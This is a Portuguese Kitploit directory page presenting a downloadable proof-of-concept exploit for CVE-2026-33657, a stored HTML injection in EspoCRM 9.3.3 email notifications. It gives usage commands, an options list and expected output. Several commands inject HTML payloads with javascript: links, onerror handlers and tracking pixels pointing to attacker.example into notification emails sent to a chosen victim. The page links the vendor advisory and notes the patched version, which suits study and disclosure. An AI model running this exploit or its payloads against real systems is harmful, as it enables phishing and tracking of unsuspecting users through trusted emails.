Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/entrovyx/cve-2026-33657
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - Injeção de HTML Armazenada em Notificações por E-mail

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33657 - Injeção de HTML Armazenado no EspoCRM 9.3.3 em Notificações por E-mail

Prova de conceito autenticada para injeção de HTML armazenado nas notificações por e-mail do EspoCRM 9.3.3.

Resumo

O EspoCRM 9.3.3 renderiza e-mails de notificação de postagens do stream transformando o corpo da nota com Markdown e inserindo o HTML resultante nos modelos de e-mail com chaves triplas ({{{post}}}). Um usuário autenticado que possa criar uma postagem no stream e acionar uma notificação pode armazenar HTML controlado pelo atacante que posteriormente é renderizado no corpo do e-mail gerado.

O exploit executa a parte remota controlada pelo atacante do fluxo:

  1. Autentica no EspoCRM.
  2. Opcionalmente, coleta a impressão digital da versão com /api/v1/App/user.
  3. Cria uma Note maliciosa contendo HTML.
  4. Usa --mention ou --target-user-id para enfileirar um destinatário de notificação.
  5. Confirma que o payload foi armazenado e que o destinatário da notificação está presente na resposta da API.

A entrega do e-mail ocorre quando o job normal SendEmailNotifications do EspoCRM ou o cron processa a notificação enfileirada.

Versão Afetada

  • Vulnerável: EspoCRM 9.3.3
  • Corrigida: EspoCRM 9.3.4
  • Aviso: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

Requisitos

  • Python 3
  • requests
  • Credenciais válidas do EspoCRM
  • Capacidade de criar registros Note no stream
  • Um destinatário de notificação:
    • --mention <username> para notificações por e-mail de menção, ou
    • --target-user-id <id> para notificações direcionadas de postagens no stream

Instalar dependência:

root@kitploit:~
python3 -m pip install requests

Uso

Caminho preferencial baseado em menção:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

Usar uma URL de rastreamento personalizada:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

Usar um payload HTML totalmente personalizado:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

Direcionar um ID de usuário específico em vez de uma menção:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

Apenas coleta de impressão digital, sem criar uma nota:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

Opções

root@kitploit:~
-u, --url                 URL base do EspoCRM
-U, --username            Nome de usuário do EspoCRM
-P, --password            Senha do EspoCRM
--mention                 Nome de usuário a mencionar, sem @
--target-user-id          ID do usuário para notificações direcionadas de postagens no stream
--target-user-name        Nome de exibição para --target-user-id
--payload                 Payload HTML bruto a armazenar na Note
--tracking-url            URL do pixel de rastreamento usada pelo payload padrão
--link-url                URL do link usada pelo payload padrão
--marker                  Texto de marcação adicionado antes do payload
--detect-only             Apenas coleta a impressão digital da versão; não cria uma Note
--skip-version-check      Ignora /api/v1/App/user antes da exploração
--force                   Continua mesmo se a impressão digital da versão não for 9.3.3
--insecure                Desativa a verificação de certificado TLS

Saída Esperada

Uma execução bem-sucedida cria uma nota maliciosa e confirma o destinatário da notificação:

root@kitploit:~
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.

Em uma instância vulnerável, o corpo do e-mail HTML gerado preserva o HTML injetado. Uma captura de laboratório se parece com:

root@kitploit:~
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

Verificação em Laboratório

Em um laboratório local do EspoCRM, após executar o exploit, acione o job de notificação:

root@kitploit:~
sudo -u www-data php command.php run-job SendEmailNotifications

O corpo do e-mail resultante deve conter o HTML injetado na parte text/html.

Notas

  • O exploit não precisa de acesso shell ao alvo; o acesso shell só é útil para verificação local em laboratório do job de e-mail enfileirado.
  • Se a API relatar @@version, o alvo provavelmente é uma compilação da árvore de fontes. O script continua porque o código subjacente ainda pode ser a tag vulnerável 9.3.3.
  • Se --mention não produzir uma menção analisada, verifique as messagePermission e mentionPermission do atacante e confirme se o nome de usuário alvo existe e pode receber notificações.
Baixar ferramenta